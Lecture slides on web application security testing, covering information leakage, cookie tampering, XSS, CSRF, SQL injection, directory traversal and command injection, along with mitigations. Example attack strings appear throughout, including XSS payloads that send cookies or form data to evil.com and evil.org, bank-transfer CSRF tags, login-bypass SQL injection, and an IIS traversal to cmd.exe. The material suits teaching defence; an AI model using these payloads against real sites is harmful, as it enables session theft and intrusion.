Web Site Testing. Information Leakage Information Leakage gives attackers an advantage: HTML source code: Comments Sensitive information Server-side error.

Web Site Testing

Information Leakage

Information Leakage gives attackers an advantage:HTML source code:

Comments Sensitive information

Server-side error messages, HTTP responsesApplication error messages

Information Leakage

Download target website Search using a tool such as grep:

HTML comments Application comments (ColdFusion, ‘//’, VB comments) IP-addresses E-mail addresses SQL queries

Show database structure Show structure of queries

Database connection strings Hidden input fields (see below)

Information Leakage

Helpful error messagesClassic example:

Logon page returns different error messages depending on whether username was not in the database or password did not match

Error messages should help user, but not give away too much information

Information Leakage

Simple naming conventions Map site Guess naming conventions

Example Reuters published third-quarter earnings of Intentia

days before official release Intentia had put earning report on their server, but not yet

provided a link Reporter guessed file’s location and name based on

previous reports

Information Leakage

Administrative pages need to be password protected, not just hidden

Information Leakage

Attack sample scripts, components contained in default installationsDefault installations with samples are

becoming rare because of bad experiences.

Information Leakage

Banner Grabbing Web servers identify by default system software and

version. Allows attackers to concentrate on vulnerable

systems. Fingerprinting tools diagnose webserver and version

Defense Camouflage

Can change all server-identification to appear as another webserver

Harder done than said

Information Leaking Test Plan

Black Box Testing1. Grab website to create site map2. Use regular expressions to search for revealing

information embedded in source code / pages:a. HTML commentsb. application commentsc. IP-addressesd. email addressese. sql queries f. keywords used for database connectiong. hidden input fields (which reveal other dangers)

Information Leaking Test Plan

Black Box Testing3. HTTP banner grabbing

reveals webserver data

4. Cause error messages to be displayed Do error messages reveal too much? Typically also reveal webserver, database server data.

5. Scan cookies set by website for revealing field names.6. Use site map to guess name of pages

Especially search for remote control and administration pages Insure that pages cannot be accessed out of order

visit shipping page without going to payment site

Information Leaking Test Plan

Black Box Testing7. Search for script pages that can be downloaded as

source files8. Run a brute-forcing tool (iDefense ID Auditor) to

search for pagesYou are now entering the realm where you need explicit permission of the site owner.

9. Use a port scanning tool to find administrative / control pages at other ports.

10. Check for sample scripts left from default installations.

Information Leaking Test Plan

White Box Testing Easier than White Box testing since source code and

side map is available Insure consistent Webserver / Database camouflage

policy Insure explicit design to enforce page control flow. Insure design to protect administration and control

interface.

Attacking at the Client

Client browser has complete control over data send out.

Trivial changes when get method is used: Information is visible in URL and easily altered.

Simple, but involved attack 1: User saves webpage Manually resolves relative links Alters input to be send

Simple but involved attack 2: Use netcat to explicitly craft http requests

Simpler attack: Use webbrowser proxy

Paros

Attacking the Client

Webservers need to validate client input At client:

Moves load to client browsers Can be easily subverted

At server: Creates bottle-neck Cannot be subverted

Moral: Why not do both? (Warning: Personal Opinion)

Vast majority of invalid data input is not an attack But no user input can be trusted

Attacking the Client

Example Attack Points:Check boxes, radio buttons, drop-down

menus implicitly restrict user inputJavascript validationHidden fields in forms Input length restrictions in form textbox

Attacking the ClientAttacking State State is maintained using:

forms and CGI parameterscookies fat URLpage navigation captures state

Attacking the ClientAttacking State Attacker can:

edit URL e.g. guess and alter id in query string

guess and jump to other pages (URL jumping)cookies

edit cookie steal cookie

edit forms / change output

Attacking the ClientAttacking State: Cookie Poisoning

day part of time stamp

Attacking the ClientAttacking State Cookie Poisoning:

Edit cookie to alter values. Old Example:

Site stores cookie with expiration date. Cookie gives access to a web resource User changes expiration date.

Time is in NTFS format

Guess, change account information Use bit flipping

Bit Flipping Excurse

Some good, some hopelessly flawed encryption technology XOR’s plain text with a random valueExample:

Key is emil 65,6D,69,6C Plaintext is 007 : 30,30,37,20 Cipher text is U]^L: 55,5D,5E,4C

Bit Flipping Excurse

007 (drunk as usual) wants to change his cookie value to ‘003’Calculates XOR between ‘007 ’ and ‘003 ’

Translate into ASCII 30,30,37,20 – 30,30,33,20Result is 00,00,04,00XOR result to the encrypted value:

55,5D,5E,4C^ 00,00,04,00= 55,5D,5A,4C

Bit Flipping Excurse

007 (drunk as usual) wants to change his cookie value to ‘007’ Changes cookie to new value Goes to website Cookie decoded to wrong value at the webserver 007 has assumed identity of 003. Uses M5 email system to arraign rendez-vous

That’s why 003 got killed by jealous husband.

Bit Flipping: Morale

When fields are guessable: Use a different strong encryption method.Add unforgeable validation to cookie and

validate at server Example:

cookie-field = encrypted text + SHA256(plaintext.secret key)

Attacking the ClientCookie Stealing Transfer cookie from another computer Use a cookie-stealing attack

http://www.it-observer.com/news/7047/firefox_cookie_stealing_vulnerability/

XSS attacks

Attacking the ClientAttacking State: Fat URL User can change URLs

Protection: Sensitive portion of URL needs to be encrypted

Fat URL Testplan:Ensure that query string is encrypted.Ensure that debugging is not turned on

through URL values: “…?debug=1” etc.

Attacking User-Supplied Input Data

Any user input needs to be validated.Attacks:

XSS (see special presentation) SQL Injection Directory Transversal

Attacking User-Supplied Input Data

Any user input needs to be validated.Attacks:

XSS SQL Injection Directory Transversal

User Input Validation

User input needs to be validated

Test trust relationship in choke points within the boundary. This might violate

the principle of defense in depth.

XSS: Basics

Web browsers interpret scripts embedded in webpages Instance of Data Code confusion

XSS enabled if users can provide input that becomes output:Messages to message board.Messages sent inadvertently by client for

itself. Hello message board. This is a message.<SCRIPT>malicious code</SCRIPT>This is the end of my message. <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>

malicious code</SCRIPT>"> Click here</A> M

XSS: Vulnerable HTML Elements

<script> <object>

Places an object such as an applet or media file in a document.

<applet> Deprecated in HTML 4.0 in favor of <object>

<embed> <form>

XSS Simplest Example

Bulletin board allows users to enter message without checking.

User enters: Haha. <script>malicious code here</script> Haha. <embed src=http://realevil.com/bad.mov></embed>

XSS: Example

Submit query to vulnerable site:http://www.mapquest.com/directions/main.adp

?1a=">><script>alert('test');</script>

XSS: Example

Attacker sends URL of vulnerable site that forces an error:http://vulnerable.com/<script>malware</script

> Vulnerable site handles the error by

quoting <script>malware</script> in its response

April 2008 Example

XSS: ASP Example

IIS ASP application for dynamically refining searches

<A HREF="http://trusted.org/search_main.asp? searchstring=SomeString">click-me</A>

XSS: ASP Example

ASP code

<% var BaserUrl = "http://trusted.org/search2.asp? searchagain=";Response.Write("<a href=\"" + BaseUrl + Request.QueryString("SearchString") + "\">click-me</a>" ) %> Vulnerability: SearchString is

taken directly from query string

XSS: ASP Example

Attacker provides attack string:

%22+onmouoseover%3D%27ClientForm% 2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FData% 3D%22+%2B+ClientForm%2EPersonalData%3BClientForm% 2Esubmit%3B%27

XSS: ASP Example

Dynamically generated ASP page would look like:

<A HREF="http://trusted.org/search2.asp? searchagain="" onmouoseover='ClientForm. action="evil.org/get.asp?Data=" + ClientForm.PersonalData;ClientForm. submit;'">click-me</A>

XSS Types

DOM-based / local XSSVulnerable site has a static html site

that uses parts of the URL as input to local javascript

Victim is baited to go to vulnerable site using a URL with attack information inside.

XSS: Local XSS Example

<HTML><TITLE>XSS Example</TITLE>Hello<SCRIPT>var pos=document.URL.indexOf("name=")+5;document.write(document.URL.substring(pos,document.U

RL.length));</SCRIPT><BR></HTML>

XSS: Local XSS Example

User sends URL:bobadilla.engr.scu.edu/xss0.html?

name=thomas Receives basic welcome message. Attacker sends victim URL:

bobadilla.engr.scu.edu/xss0.html?name=<script>alert(document.cookie)</script>

XSS: Local XSS Example

Attacker sends victim URL:bobadilla.engr.scu.edu/xss0.html?

name=<script>alert(document.cookie)</script>

Victim’s browser starts parsing HTML into DOM

When parser reaches the script, it executes it.

XSS: DOM

The malicious payload was not inserted into HTML

Using “#” instead of “?” will not send the query string to the browser, but the attack still works.bobadilla.engr.scu.edu/

xss0.html#name=<script>alert(document.cookie)</script>

Attack cannot be detected at the vulnerable site?

XSS: DOM

Javascript runs with webbrowser’s privileges.

Potential for remote code execution.

XSS: DOM

Vulnerability does only exist when webbrowser does not internally translate the “<“ and “>” characters.Currently,

IE7 is vulnerable Mozilla is not

XSS DOM

MitigationAvoid client side document rewriting,

redirection, …Analyze any Javascript code

Sanitize any user-controlled input

XSS-DOM Example

<SCRIPT>  var pos=document.URL.indexOf("name=")+5;  var name=document.URL.substring(pos,document.URL.length);  if (name.match(/^[a-zA-Z0-9]$/))  {       document.write(name);  }  else  {        window.alert("Security error");  }  </SCRIPT>

Name can only contain alpha-numeric characters

XSS Types

Non-persistent or reflected vulnerabilityMost commonTypically promulgated by distributing URLs to

victims.Vulnerable site uses user supplied input to

dynamically build HTML page.

XSS Types

Stored / persistent XSSVulnerable site allows user to upload data.Attacker uploads script.Most pernicious:

Attacker only needs to generate one attack.

XSS Payload

Cookie Stealing Insert a script that places a resource from a site

under attacker controlExample:

<script>document.write(“

<img src=http://evil.com/px.gif?cookie=“+document.cookie”)

</script>

XSS Payload

History stealingAttack based on different coloring for already

visited sitesUse XSS to move browser to attack siteSite executes script that loops through well-

known banking URLsCheck color

XSS Payload

Stealing search engine queriesCreate predictable search terms and combine

with the history hack

XSS Payload

Intranet HackingVictim clicks on malicious web linkJavaScript malware loads Java applet into

browser Applet reveals internal IP address

JavaScript then identifies and fingerprints web servers on intranet

XSS Payload

Change contents of a news pageExample (presupposing how images are

being referred to)<script>

document.image[38].src=http://evil.com/evil.gif

</script>

XSS Payload

Website DefacementMaria Sharapova’s home page hack

XSS Mitigation

Data SanitationAll user supplied input needs to be sanitized.Removing dangerous characters such as ‘<‘

and ‘>’ is not enough Attacker can use alternate codings

Commenting out potentially malicious code is not enough

Attacker can close the comment.

XSS Mitigation

Example:Attacker provides malicious code:

<script>code</script> After processing, input becomes:

<COMMENT> <!-- code (NOT PARSED BY FILTER) //--> </COMMENT>

Attacker instead provides:

<script> - --> </COMMENT> <img src="http://none" onerror="alert(document.cookie);window.open( http://evil.org/fakeloginscreen.jsp); "> </script>

Code becomes:

<COMMENT> <!-- - --> </COMMENT> <img src="http://none" onerror="alert(document.cookie);window.open(http://evil.org/ fakeloginscreen.jsp);"> </COMMENT>

CSRF: Cross-Site Request Forgeries Find XSS, get CSRF for free Example: Embed in html:

<iframe src=https://somebank.com </iframe> Browser will execute iframe command Browser will send any (authentication) cookies along.

<iframe src=https://somebank.com/transferfunds.asp?amnt=10000&acct=0010403900212033</iframe>

<link rel=“stylesheet” href = “https://somebank.com/transferfunds.asp? amnt=10000& acct=0010403900212033” type=“text/css”>

<bgsound SRC= “https://somebank.com/transferfunds.asp? amnt=10000& acct=0010403900212033” >

...

Attacking User-Supplied Input DataSQL Injection SQL Injection

Happens when user input becomes input to a database.

Basic fault is lack of input validation

Attacking User-Supplied Input DataSQL Injection Simple SQL injection attack example:

string sql = “select * from client where name = ‘ “ + uname + “ ’ ”

User enters uname: “Schwarz”. SQL command executed is

string sql = “select * from client where name = ‘ Schwarz’ ”

This command reads every row in the table “client”.

string sql = “select * from client where name = ‘Schwarz’ or 1=1”

User enters uname: “ ‘Schwarz’ or 1 = 1”. SQL command executed is

Attacking User-Supplied Input DataSQL Injection SQL injection attacks are common.

Some database servers allow a client application to perform more than one SQL statement.

Suppose that user enters: “Schwarz’ drop table client”

This builds an SQL query that queries table client and then deletes the table.

Effects are greatly enhanced if the database runs at system administrator privileges.

Attacking User-Supplied Input DataSQL Injection Typical Use:

URL query string for item: http://somesite.com/store/itemdetail.asp?id=666

If query string is passed directly to SQL query: SELECT name, picture, description price FROM

products WHERE id=666

Attacking User-Supplied Input DataSQL Injection Dangerous Use:

$SQLquery = “SELECT * FROM users WHERE username=`”.$_POST[“username”].”’ AND password=‘”.$_POST[“password”].”’”;

$DBresult=db_query($SQLQuery);if($DBresult) {

// username-password is correct, log the user on}else {

//username-password is incorrect}

Attacking User-Supplied Input DataSQL Injection Dangerous Use:

The following inputs will break the authentication:

Thomas` - - provided that a user Thomas exists. the -- makes the following an SQL comment

` ` OR 1 = 1 - - ` ` OR true et.cet.

Attacking User-Supplied Input DataSQL Injection Adding database commands:

SELECT accountdata FROM acountinfo

WHERE accountid = ` ‘;

INSERT INTO accountdata (accountid,password)

VALUES (`thomas`,’12345’) – ‘ AND password = ‘ ‘

Attacking User-Supplied Input DataSQL Injection Mitigation:

Run queries below the administrator level.Build sql statements securely, checking each

component carefully.

Attacking User-Supplied Input Data:Directory Transversal

Attacker tries to access unauthorized pages.Needs to guess location of pages.Uses “../” to walk up directory trees.

Attacking User-Supplied Input Data

CanonicalizationGeneric method to validate inputTransforms input into a “canonical form”

before deciding whether input is admissable.Example:

‘/’ character ‘/’ in http %5c UTF-8 encoding %c0%af (Unicode encoding

Attacking User-Supplied Input Data

Double Escape Trick Example

‘\’ %5c (Hex encoding) %255c (Encode the %)

Example: IIS4/ IIS5 Web server vulnerability http://www.vulnerable.com/app/..%c0%af..%c0%af../w

innt/systems32/cmd.exe?/c+dir After patching, attackers used the same string but

double escaped the percentage signs. IIS4 / IIS5 did not resolve escapes in user input deep

enough.

Attacking Applications on Server

Buffer Overflows NULL Attack

Place NULL into stringsSome application moduless will sometimes

not match strings with NULL, but others will resolve strings removing the NULL

Attacking the Server

SQL Injection: Stored proceduresDatabase servers have command shells that

can be called from within a query: EXEC master..xp_cmdshell ‘regread’

xp_regread xp_regwrite xp_regdeletekey xp_regdeletevalue xp_regremovemultistring ….

Attacking the Server

Command injection User input is passed to various components. Example:

Webpage will tell whether a given person is logged on. Implemented by passing user name to UNIX “finger” utility. Vulnerabilities:

no parameters will print out all current users. Command injection:

Piggy-back other commands by using a semicolon or a newline (“\r\n”);

Try: “tschwarz; ls –al” Try: “tschwarz\r\nls –al”

Attacking the Server

Fingerprinting server and using known exploits:HTTP headers reveal server informationCan be used to find a known exploitFingerprinting software forces errors and

determines server software based on header placements.